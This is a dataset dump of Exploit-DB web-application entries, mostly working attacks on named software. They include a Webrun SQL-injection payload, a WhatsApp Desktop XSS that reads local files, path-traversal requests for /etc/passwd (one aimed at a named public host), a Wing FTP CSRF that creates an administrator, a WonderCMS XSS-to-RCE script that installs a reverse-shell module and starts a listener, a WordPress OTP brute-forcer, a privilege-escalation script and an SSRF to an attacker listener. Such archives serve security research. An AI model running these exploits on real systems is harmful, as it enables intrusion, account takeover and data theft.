deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50542
Description: Webrun 3.6.0.42 - 'P_0' SQL Injection
Type: webapps
Platform: multiple
Date: 2021-11-23
Author: Vinicius Alves

Exploit:
# Exploit Title: Webrun 3.6.0.42 - 'P_0' SQL Injection
# Google Dork: intitle:"Webrun 3.6.0.42"
# Date: 23/11/2021
# Exploit Author: Vinicius Alves
# Vendor Homepage: https://softwell.com.br/
# Version: 3.6.0.42
# Tested on: Kali Linux 2021.3
# CVE: CVE-2021-43650

=-=-=-= Description =-=-=-=


Webrun version 3.6.0.42 is vulnerable to SQL Injection, applied to the P_0
parameter used to set the username during the login process.


=-=-=-= Exploiting =-=-=-=


In the post request, change the P_0 value to the following payload:
121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd


You will see some information like below:


interactionError('ERRO: sintaxe de entrada é inválida para tipo numeric:
\"qvvxq1qbzbq\"', null, null, null, '<b>


=-=-=-= POC =-=-=-=


If the return has the value 'qvvxq1qbzbq', you will be able to successfully
exploit this.


See an example of the complete POST parameter:


action=executeRule&pType=2&ruleName=GES_FLX_Gerar+Token+Dashboard&sys=GES&formID=8265&parentRID=-1&P_0=121')+AND+5110%3dCAST((CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113))||(SELECT+(CASE+WHEN+(5110%3d5110)+THEN+1+ELSE+0+END))%3a%3atext||(CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))+AS+NUMERIC)+AND+('AYkd'%3d'AYkd&P_1=pwd
Exploit-DB #48295
Description: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-04-06
Author: Gal Weizman

Exploit:
# Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting
# Date: 2020-01-21
# Exploit Author: Gal Weizman
# Vendor Homepage: https://www.whatsapp.com
# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe
# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg
# Version: 0.3.9308
# Tested On: Mac OS, Windows, iPhone
# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426

// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)
// step 2: open devtools and search in all files "t=e.id"
// step 3: after prettifying, set a breakpoint at the line where "t = e.id" can be found
// step 4: paste "https://example.com" in the text box and hit "Enter"
// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit "Enter"

var payload = `(async function() {
    alert(navigator.userAgent);
    (async function() {
	    // read "file:///C:/windows/system32/drivers/etc/hosts" content
	    const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));
        const t = await r.text();
        alert(t);
    }())
}())`;

payload = `javascript:"https://example.com";eval(atob("${btoa(payload)}"))`;

e.__x_matchedText = payload;

e.__x_body = `
    Innocent text

    ${payload}

    More Innocent text
`;

// step 6: press F8 in order for the execution to continue
// result: a message should be sent to the victim that once is clicked will execute the payload above

// further information: https://github.com/weizman/CVE-2019-18426
Exploit-DB #52367
Description: White Star Software Protop 4.4.2-2024-11-27 - Local File Inclusion (LFI)
Type: webapps
Platform: multiple
Date: 2025-07-16
Author: Imraan Khan (Lich-Sec)

Exploit:
# Exploit Title: White Star Software Protop 4.4.2-2024-11-27 - Local File Inclusion (LFI)
# Date: 2025-07-09
# Exploit Author: Imraan Khan (Lich-Sec)
# Vendor Homepage: https://wss.com/
# Software Link: https://client.protop.co.za/
# Version: v4.4.2-2024-11-27
# Tested on: Ubuntu 22.04 / Linux
# CVE: CVE-2025-44177
# CWE: CWE-22 - Path Traversal

# Description:
# A Local File Inclusion vulnerability exists in White Star Software Protop v4.4.2.
# An unauthenticated remote attacker can retrieve arbitrary files via
# URL-encoded traversal sequences in the `/pt3upd/` endpoint.

# Vulnerable Endpoint:
GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: client.protop.co.za
User-Agent: curl/8.0
Accept: */*

# Example curl command:
curl -i 'https://client.protop.co.za/pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd'

# Notes:
# - Vulnerability confirmed on public instance at time of testing.
# - CVSS v3.1 Base Score: 8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N)
# - The vendor was notified and a fix was issued.

# Disclosure Timeline:
# - Discovered: 2025-03-13
# - Disclosed to vendor: 2025-03-20
# - CVE Assigned: 2025-07-01
# - Public Disclosure: 2025-07-09
Exploit-DB #10821
Description: Wing FTP Server 3.2.4 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2009-12-30
Author: Ams

Exploit:
 Application: WingFTP Server 3.2.4 (maybe earlier versions too)
 Link: http://www.wftpserver.com/
 Vulnerability: CSRF
 Author: Ams
 Contact: 
  mail: ax330d [at] gmail [dot] com
  site: http://www.0x416d73.name/

1. About software

 "Wing FTP server is not only a FTP server. It's a multi-protocol file server(FTP,
 HTTP, FTPS, HTTPS, SFTP) for Windows, Linux, Mac, freeBSD and Solaris. It
 includes a new set of advanced tools (web based remote control, web based
 client, administrator console, task scheduler). It provides event manager for the
 program to respond to different events, scripts support let users extend the server
 by Lua language, virtual directories for easy sharing files and directories, and more ... "

2. Vulnerability details

 Wing FTP server web based administration panel provides option to view logs. 
 We can watch logs by opening 
   [Domains -> your.domain -> Logs & Status -> Domain Log (or Activity)]
 These logs are opened directly from file to ajax'ed tag <div>. So, everything 
 that we send to ftp-server appears on the screen of browser. Without any 
 filtering. That's why we are capable of exploiting this bug.

3. Proof of concept

  Actually, via this CRSF we can do all things administrator can do from his
  control panel. The following exploit creates new administrator.

 To show the work of exploit you have to do the following:
   1. Connect to remote ftp server
   2. Send this string:
     <iframe src='http://127.0.0.1:5466/admin_addadmin.html?admin={"username":"Ams","password":"pwnpwnpwn","oldpassword":"","readonly":0,"ipmasks":[]}' width='0' height='0' border='0'></iframe>
   3. When administrator logins and opens log new administrator is created
   4. Login as admin 'Ams' and password 'pwnpwnpwn' (if you have not changed them)

4. Vendor response

 Wing FTP Server team has fixed bugs and released new version - Wing FTP Server 3.2.8.

5. Disclosure timeline

 25/12/2009 - Vendor informed
 26/12/2009 - Received response
 30/12/2010 - Bug fixed by vendor
 31/12/2010 - Public release of advisory
Exploit-DB #43441
Description: WinMX < 2.6 - Design Error
Type: webapps
Platform: multiple
Date: 2003-06-02
Author: GulfTech Security

Exploit:
WinMX Design Error

Vendor: Frontcode Technologies
Product: WinMX
Version: <= 2.6
Website: http://www.winmx.com/

BID: 7771 

Description:
WinMX 2.6 is an older version of the popular file sharing client WinMX. While the current version is 3.31, 2.6 still remains quite popular. Especially amongst users on private networks. I believe this is largely due to the fact that 2.6 does not have the option to output .wsx file (WinMX server list files) This helps keep the addresses for private OpenNap servers out of the hands of uninvited users (amongst other reasons). 

Problem:
The problems with WinMX 2.6 is that it provides pretty much NO password protection. This can be exploited both locally and remotely. Again, I think all of us have seen the bad habit that most people have of using the same password for multiple accounts etc etc. 

Local Exploitation:
There several ways to exploit this issue locally. One is to just edit a particular server, and upon doing so the username and pass are presented in plaintext, and the other way is to open the nservers.dat file in the WinMX directory. 

Remote Exploitation:
Even though the passwords are encrypted by such servers as SlavaNap etc, they are passed to the server in plaintext, so any malicious server owner with a packet sniffer can exploit this vuln. 

Conclusion:
I realized this issue back when 2.6 was the current release, but never reported it because VERY shortly thereafter a new version of WinMX was available. However with the substantial number of 2.6 users still around I felt it was best that this vulnerability become official, as there is nothing about it on google etc that i was able to find. So to anyone using 2.6 i offer this advice. Do not use a password for WinMX 2.6 that you use for other accounts at the very least. Hope this helps some of the 2.6 users out. Cheers 

Solution:
Upgrade to the latest version of WinMX 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #51805
Description: Wondercms 4.3.2 - XSS to RCE
Type: webapps
Platform: multiple
Date: 2024-02-19
Author: Anas Zakir

Exploit:
# Author: prodigiousMind
# Exploit: Wondercms 4.3.2 XSS to RCE


import sys
import requests
import os
import bs4

if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
       
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")

    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")
Exploit-DB #52487
Description: WordPress  Madara - Local File Inclusion
Type: webapps
Platform: multiple
Date: 2026-04-06
Author: Beatriz Fresno Naumova

Exploit:
# Exploit Title: WordPress Madara Local File Inclusion 
# Date: November 1, 2025
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: WordPress Theme Madara
# Software Link: WordPress Theme Madara
# Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4]
# CVE: CVE-2025-4524


#Attack Vector
body="/wp-content/plugins/madara/"

#POC
POST /wp-admin/admin-ajax.php HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490

action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail
Exploit-DB #47690
Description: WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
Type: webapps
Platform: multiple
Date: 2019-10-14
Author: Sebastian Neef

Exploit:
So far we know that adding `?static=1` to a wordpress URL should leak its secret content

Here are a few ways to manipulate the returned entries:

- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format


In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
Exploit-DB #52307
Description: WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing
Type: webapps
Platform: multiple
Date: 2025-05-29
Author: Saleh Tarawneh

Exploit:
# Exploit Title: WordPress Digits Plugin 8.4.6.1 - Authentication Bypass via OTP Bruteforcing 
# Google Dork: inurl:/wp-content/plugins/digits/
# Date: 2025-04-30
# Exploit Author: Saleh Tarawneh
# Vendor Homepage: https://digits.unitedover.com/
# Version: < 8.4.6.1
# CVE : CVE-2025-4094

"""
The Digits plugin for WordPress prior to version 8.4.6.1 is vulnerable to OTP brute-force attacks due to missing rate limiting.
An attacker can exploit this to bypass authentication or password reset by iterating over possible OTP values.

This PoC targets the "Forgot Password" flow and automates the attack, which is the same concept that is valid for the registration flow.

CWE-287: Improper Authentication
CVSS v3.1: 9.8 (Critical)
OWASP A2: Broken Authentication

[Instructions]
1. Use a tool like Burp Suite or your browser’s developer tools to intercept the OTP verification request.
2. Copy the exact request parameters
3. Replace the placeholder values in the script with real data from the intercepted request.
4. Run the script to brute-force 4-digit OTPs (0000 to 9999) or you can change it to 6-digit.

[Alternative Method – Burp Suite Pro]

If you have Burp Suite Pro, you can perform the OTP brute-force attack manually:

1. Intercept the OTP request using Burp Proxy.
2. Send the request to Intruder.
3. Mark the `sms_otp` parameter as the payload position.
4. Load a payload list from `000000` to `999999` (for 6-digit OTPs).
5. Start the attack and monitor responses for a different status code, length, or success message.

"""

import requests

def brute(otp):
    url = "https://example.com/wp-admin/admin-ajax.php"
    data = {                                             # Replace with targets data
        "login_digt_countrycode": "+",
        "digits_phone": "000000000",          
        "action_type": "phone",
        "sms_otp": otp,
        "otp_step_1": "1",
        "instance_id": "xxxxxxx",             
        "action": "digits_forms_ajax",
        "type": "forgot",
        "forgot_pass_method": "sms_otp",
        "digits": "1",
        "digits_redirect_page": "//example.com/",  
        "digits_form": "xxxxxxxx",            
        "_wp_http_referer": "/?login=true"
    }
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": "https://example.com/?login=true"  # Replace with intercepted referer
    }
    response = requests.post(url, data=data, headers=headers)
    if '"success":true' in response.text:
        print(f"[+] OTP FOUND: {otp}")
        exit()

def main():
    for otp in range(0, 10000): # range(0, 1000000): for 6-digit
        otp_str = f"{otp:04d}"     # {otp:06d} for 6-digit
        print(f"[*] Trying OTP: {otp_str}")
        brute(otp_str)

if __name__ == "__main__":
    main()
Exploit-DB #52291
Description: WordPress Frontend Login and Registration Blocks Plugin 1.0.7 - Privilege Escalation
Type: webapps
Platform: multiple
Date: 2025-05-13
Author: Md Shoriful Islam

Exploit:
# Exploit Title: WordPress Frontend Login and Registration Blocks Plugin 1.0.7 - Privilege Escalation
# Google Dork: inurl:/wp-content/plugins/frontend-login-and-registration-blocks/
# Date: 2025-05-12
# Exploit Author: Md Shoriful Islam (RootHarpy)
# Vendor Homepage: https://wordpress.org/plugins/frontend-login-and-registration-blocks/
# Software Link: https://downloads.wordpress.org/plugin/frontend-login-and-registration-blocks.1.0.7.zip
# Version: <= 1.0.7
# Tested on: Ubuntu 22.04 + WordPress 6.5.2
# CVE : CVE-2025-3605

import requests
import argparse
import sys

def display_banner():
    banner = """
  _____   _____   ___ __ ___ ___    ____  __  __  ___
 / __\ \ / / __|_|_  )  \_  ) __|__|__ / / / /  \| __|
| (__ \ V /| _|___/ / () / /|__ \___|_ \/ _ \ () |__ \
 \___| \_/ |___| /___\__/___|___/  |___/\___/\__/|___/
    """
    print(banner)

def suppress_ssl_warnings():
    requests.packages.urllib3.disable_warnings()

def initialize_session():
    new_session = requests.Session()
    new_session.verify = False
    new_session.headers.update({'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"})
    return new_session

def parse_input_args():
    parser = argparse.ArgumentParser(description="Exploit for Privilege Escalation in Frontend Login and Registration Plugin <= 1.0.7")
    parser.add_argument("--target", "-t", required=True, help="Target URL to exploit")
    parser.add_argument("--target_user", "-u", default="1", help="User ID for target (default: 1)")
    parser.add_argument("--new_email", "-e", default="example@gmail.com", help="Email to change to (default: example@gmail.com)")
    return parser.parse_args()

def generate_payload(user, email):
    return {
        'action': 'flrblocksusersettingsupdatehandle',
        'user_id': user,
        'flr-blocks-email-update': email
    }

def execute_exploit(session, target_url, payload):
    try:
        return session.post(f"{target_url}/wp-admin/admin-ajax.php", data=payload)
    except Exception as error:
        print(f"Request error: {error}")
        sys.exit(1)

def process_response(response):
    if response.status_code == 200 and response.text.strip() != "0":
        print(f"Exploit succeeded! Response: {response.text}")
        print("Next: Go to the Forgot Password page and reset the admin password using the new email!")
    else:
        print(f"Exploit failed. HTTP Status: {response.status_code}, Response: {response.text}")

def run_exploit():
    display_banner()
    suppress_ssl_warnings()
    args = parse_input_args()
    session = initialize_session()
    payload = generate_payload(args.target_user, args.new_email)
    response = execute_exploit(session, args.target, payload)
    process_response(response)

if __name__ == "__main__":
    run_exploit()
Exploit-DB #52511
Description: WordPress Plugin  5.2.0 - Broken Access Control
Type: webapps
Platform: multiple
Date: 2026-04-22
Author: cydev.turing

Exploit:
# Exploit Title: WordPress Plugin 5.2.0 - Broken Access Control
# Date: 2025-09-20
# Exploit Author: Zeeshan Haider
# Vendor Homepage: https://wordpress.org/plugins/
# Software Link: https://wordpress.org/plugins/highlight-and-share/
# Version: <= 5.2.0 (REQUIRED)
# Tested on: WordPress 6.x, Kali Linux
# CVE: CVE-2025-67586

==> Description
A broken access control vulnerability exists in a WordPress plugin developed by DLX Plugins.
The plugin exposes an unauthenticated AJAX action that allows attackers to abuse the
"Share via Email" functionality without proper permission checks.

An unauthenticated attacker can reuse a valid post nonce to trigger email sharing requests,
leading to unauthorized email sending (email spam / abuse) without user authentication.

==> Privileges Required
None (Unauthenticated)


==> Proof of Concept (PoC)

> Step 1: Pick website with Installed Plugin 

> Step 2: Obtain a Valid Nonce
  1. Open a public post.
  2. Highlight text and click **Share via Email**.
  3. Open Developer Tools → Network → XHR.
  4. Send the email once.
  5. Capture the request containing:
   action=has_email_social_modal
   nonce=<NONCE>
   post_id=<POSTID>

Step 3: Exploit via Unauthenticated Request

> bash cmd: (replace website URL, post URL, and nonce)

curl -s -i -X POST 'http://localhost/wp-admin/admin-ajax.php' \
-d 'action=has_email_form_submission' \
-d 'formData[postId]=<POSTID>' \
-d 'formData[permalink]=http://localhost/?p=<POSTID>' \
-d 'formData[nonce]=<NONCE>' \
-d 'formData[toEmail]=attacker@example.com' \
-d 'formData[subject]=PoC' \
-d 'formData[shareText]=POC test' \
-d 'formData[emailShareType]=selection' \
--compressed


--> Expected JSON response:

{
"success": true,
"data": {
"errors": false,
"message_title": "This post has been shared!",
"message_body": "You have shared this post with attacker@example.com",
"message_subject": "[Shared Post] <POST TITLE>",
"message_source_name": "Site Name",
"message_source_email": "site@example.com"
}
}
Exploit-DB #49189
Description: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2020-12-04
Author: Pankaj Verma

Exploit:
# Exploit Title: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
# Date: 03/12/2020
# Exploit Author: Pankaj Verma (_p4nk4j)
# Vendor Homepage: https://www.canto.com/integrations/wordpress/
# Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin
# Version: 1.3.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978


Description:-
The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.

Vulnerable Parameters and Endpoints:-
https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=

Steps To Reproduce:-
1. Start a Netcat Listener on any port For e.g. 4499
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
3. Add the Attacker's IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter.
4. Observe the response we got from the Target on Attacker's Listener.

Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.